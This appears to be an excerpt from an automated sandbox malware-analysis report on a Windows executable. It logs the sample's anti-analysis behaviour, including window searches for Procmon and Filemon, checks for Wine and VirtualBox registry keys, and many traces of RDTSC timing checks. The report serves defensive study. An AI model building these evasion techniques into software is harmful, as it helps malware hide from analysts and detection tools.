Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00A97C92 push cs; retf	0_3_00A97C93
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00A97C92 push cs; retf	0_3_00A97C93
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00A97C92 push cs; retf	0_3_00A97C93
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00A97C92 push cs; retf	0_3_00A97C93
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00A97C92 push cs; retf	0_3_00A97C93
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00A95AC0 pushad ; retf	0_3_00A95B9B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00A95AC0 pushad ; retf	0_3_00A95B9B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00A95AC0 pushad ; retf	0_3_00A95B9B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00A95AC0 pushad ; retf	0_3_00A95B9B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00A95AC0 pushad ; retf	0_3_00A95B9B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00A95AC0 pushad ; retf	0_3_00A95B9B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00A95AC0 pushad ; retf	0_3_00A95B9B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00A95AC0 pushad ; retf	0_3_00A95B9B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00A95AC0 pushad ; retf	0_3_00A95B9B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00A97A22 push eax; retf	0_3_00A97A23
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00A97A22 push eax; retf	0_3_00A97A23
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00A97A22 push eax; retf	0_3_00A97A23
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00A97A22 push eax; retf	0_3_00A97A23
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00A97A22 push eax; retf	0_3_00A97A23
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00A97A22 push eax; retf	0_3_00A97A23
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00A97A22 push eax; retf	0_3_00A97A23

Source: file.exe	Static PE information: section name: entropy: 7.974777943413181
Source: file.exe	Static PE information: section name: saixhvao entropy: 7.953655752107788

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information set: NOOPENFILEERRORBOX

Jump to behavior

Malware Analysis System Evasion

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\Desktop\file.exe

System information queried: FirmwareTableInformation

Jump to behavior

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DCC332 second address: DCC349 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jmp 00007F9ACD05C371h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F488BC second address: F488D4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 pushad 0x00000006 popad 0x00000007 jns 00007F9ACCBE48C6h 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 jne 00007F9ACCBE48C6h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2D7EF second address: F2D826 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F9ACD05C36Ch 0x00000008 jmp 00007F9ACD05C36Ch 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jbe 00007F9ACD05C379h 0x00000017 jmp 00007F9ACD05C373h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F47C4A second address: F47C4F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F47D9A second address: F47DA4 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F9ACD05C366h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F47DA4 second address: F47DAA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F47DAA second address: F47DAE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F47DAE second address: F47DBD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 jng 00007F9ACCBE48C6h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F47EE9 second address: F47EEF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F47EEF second address: F47F06 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9ACCBE48D2h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4B713 second address: F4B718 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4B784 second address: F4B7CC instructions: 0x00000000 rdtsc 0x00000002 jng 00007F9ACCBE48C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ebx 0x0000000b push eax 0x0000000c jng 00007F9ACCBE48DDh 0x00000012 nop 0x00000013 mov si, C467h 0x00000017 push 00000000h 0x00000019 pushad 0x0000001a mov dx, 66D2h 0x0000001e popad 0x0000001f call 00007F9ACCBE48C9h 0x00000024 jg 00007F9ACCBE48CEh 0x0000002a push esi 0x0000002b push eax 0x0000002c push edx 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4B7CC second address: F4B7F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 jmp 00007F9ACD05C375h 0x0000000b mov eax, dword ptr [esp+04h] 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 pop eax 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4B7F0 second address: F4B823 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 js 00007F9ACCBE48CCh 0x0000000c popad 0x0000000d mov eax, dword ptr [eax] 0x0000000f jmp 00007F9ACCBE48D6h 0x00000014 mov dword ptr [esp+04h], eax 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4B823 second address: F4B86D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 push 00000000h 0x00000009 push edx 0x0000000a call 00007F9ACD05C368h 0x0000000f pop edx 0x00000010 mov dword ptr [esp+04h], edx 0x00000014 add dword ptr [esp+04h], 00000018h 0x0000001c inc edx 0x0000001d push edx 0x0000001e ret 0x0000001f pop edx 0x00000020 ret 0x00000021 push 00000003h 0x00000023 mov dx, D33Dh 0x00000027 push 00000000h 0x00000029 jns 00007F9ACD05C368h 0x0000002f push 00000003h 0x00000031 mov dword ptr [ebp+122D374Eh], ebx 0x00000037 push 6885056Eh 0x0000003c push eax 0x0000003d push edx 0x0000003e push esi 0x0000003f push ebx 0x00000040 pop ebx 0x00000041 pop esi 0x00000042 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4B86D second address: F4B8CB instructions: 0x00000000 rdtsc 0x00000002 je 00007F9ACCBE48C8h 0x00000008 push eax 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c add dword ptr [esp], 577AFA92h 0x00000013 movsx ecx, si 0x00000016 lea ebx, dword ptr [ebp+124534BFh] 0x0000001c jmp 00007F9ACCBE48CBh 0x00000021 xchg eax, ebx 0x00000022 push esi 0x00000023 jnl 00007F9ACCBE48DBh 0x00000029 pop esi 0x0000002a push eax 0x0000002b pushad 0x0000002c push eax 0x0000002d push edx 0x0000002e jmp 00007F9ACCBE48D5h 0x00000033 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4B9FF second address: F4BA03 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6CF85 second address: F6CFB9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jmp 00007F9ACCBE48D8h 0x0000000b jmp 00007F9ACCBE48D4h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6CFB9 second address: F6CFDC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jns 00007F9ACD05C379h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6CFDC second address: F6CFE5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6B234 second address: F6B24E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9ACD05C370h 0x00000007 ja 00007F9ACD05C366h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6B24E second address: F6B253 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6B52B second address: F6B530 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6B661 second address: F6B673 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F9ACCBE48C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jng 00007F9ACCBE48CCh 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6B673 second address: F6B677 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6BA86 second address: F6BA8E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6BA8E second address: F6BA9C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 ja 00007F9ACD05C366h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6BA9C second address: F6BAA7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 push esi 0x0000000a pop esi 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6BC22 second address: F6BC37 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F9ACD05C36Bh 0x00000009 jo 00007F9ACD05C366h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6BC37 second address: F6BC3B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6BEE3 second address: F6BEE9 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6BEE9 second address: F6BEF2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6BEF2 second address: F6BEFA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6BEFA second address: F6BF27 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 push edx 0x00000009 jmp 00007F9ACCBE48D3h 0x0000000e push eax 0x0000000f pop eax 0x00000010 pop edx 0x00000011 jng 00007F9ACCBE48CEh 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6BF27 second address: F6BF42 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9ACD05C376h 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6C692 second address: F6C6BD instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F9ACCBE48CCh 0x0000000b jmp 00007F9ACCBE48D3h 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6C6BD second address: F6C6C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6C6C3 second address: F6C6C9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6C6C9 second address: F6C6CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6C6CE second address: F6C6D8 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F9ACCBE48D2h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6C6D8 second address: F6C6DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6C818 second address: F6C81C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6C81C second address: F6C82A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6C95E second address: F6C989 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9ACCBE48D5h 0x00000007 jmp 00007F9ACCBE48CCh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6C989 second address: F6C98F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6C98F second address: F6C993 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6C993 second address: F6C99D instructions: 0x00000000 rdtsc 0x00000002 jng 00007F9ACD05C366h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7027D second address: F702A4 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F9ACCBE48C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b mov eax, dword ptr [eax] 0x0000000d jg 00007F9ACCBE48D1h 0x00000013 mov dword ptr [esp+04h], eax 0x00000017 pushad 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F70592 second address: F70596 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F70596 second address: F7059C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F788E6 second address: F788EA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F788EA second address: F788F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F788F2 second address: F788F7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F788F7 second address: F78914 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9ACCBE48D7h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7861E second address: F78632 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9ACD05C36Fh 0x00000009 pop ecx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F78632 second address: F78644 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F9ACCBE48CDh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7BE85 second address: F7BE9A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F9ACD05C371h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7CBAE second address: F7CBB5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7CBB5 second address: F7CC29 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 popad 0x00000006 push eax 0x00000007 pushad 0x00000008 jng 00007F9ACD05C370h 0x0000000e jmp 00007F9ACD05C36Ah 0x00000013 jbe 00007F9ACD05C368h 0x00000019 popad 0x0000001a xchg eax, ebx 0x0000001b push 00000000h 0x0000001d push ebp 0x0000001e call 00007F9ACD05C368h 0x00000023 pop ebp 0x00000024 mov dword ptr [esp+04h], ebp 0x00000028 add dword ptr [esp+04h], 0000001Bh 0x00000030 inc ebp 0x00000031 push ebp 0x00000032 ret 0x00000033 pop ebp 0x00000034 ret 0x00000035 mov dword ptr [ebp+122DB840h], edi 0x0000003b push eax 0x0000003c xor dword ptr [ebp+122D1BECh], eax 0x00000042 pop edi 0x00000043 nop 0x00000044 jmp 00007F9ACD05C36Dh 0x00000049 push eax 0x0000004a push eax 0x0000004b push edx 0x0000004c pushad 0x0000004d pushad 0x0000004e popad 0x0000004f jmp 00007F9ACD05C36Ch 0x00000054 popad 0x00000055 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7CC29 second address: F7CC2F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7CDC3 second address: F7CDC7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7CECA second address: F7CECE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7CECE second address: F7CEDF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 push eax 0x00000008 push ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b jnl 00007F9ACD05C366h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7CEDF second address: F7CEE3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7CFDC second address: F7CFE7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnl 00007F9ACD05C366h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7D0BB second address: F7D0BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7D185 second address: F7D18F instructions: 0x00000000 rdtsc 0x00000002 jp 00007F9ACD05C366h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7E0A2 second address: F7E0A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F807CB second address: F807F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F9ACD05C370h 0x0000000a popad 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F9ACD05C36Eh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F85116 second address: F85172 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9ACCBE48D1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a mov dword ptr [esp], eax 0x0000000d mov ebx, dword ptr [ebp+122D3A91h] 0x00000013 push 00000000h 0x00000015 push 00000000h 0x00000017 push ebp 0x00000018 call 00007F9ACCBE48C8h 0x0000001d pop ebp 0x0000001e mov dword ptr [esp+04h], ebp 0x00000022 add dword ptr [esp+04h], 0000001Ah 0x0000002a inc ebp 0x0000002b push ebp 0x0000002c ret 0x0000002d pop ebp 0x0000002e ret 0x0000002f push edi 0x00000030 pop ebx 0x00000031 call 00007F9ACCBE48CCh 0x00000036 mov bl, 90h 0x00000038 pop edi 0x00000039 push 00000000h 0x0000003b cmc 0x0000003c push eax 0x0000003d pushad 0x0000003e pushad 0x0000003f push eax 0x00000040 push edx 0x00000041 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F860B5 second address: F860B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
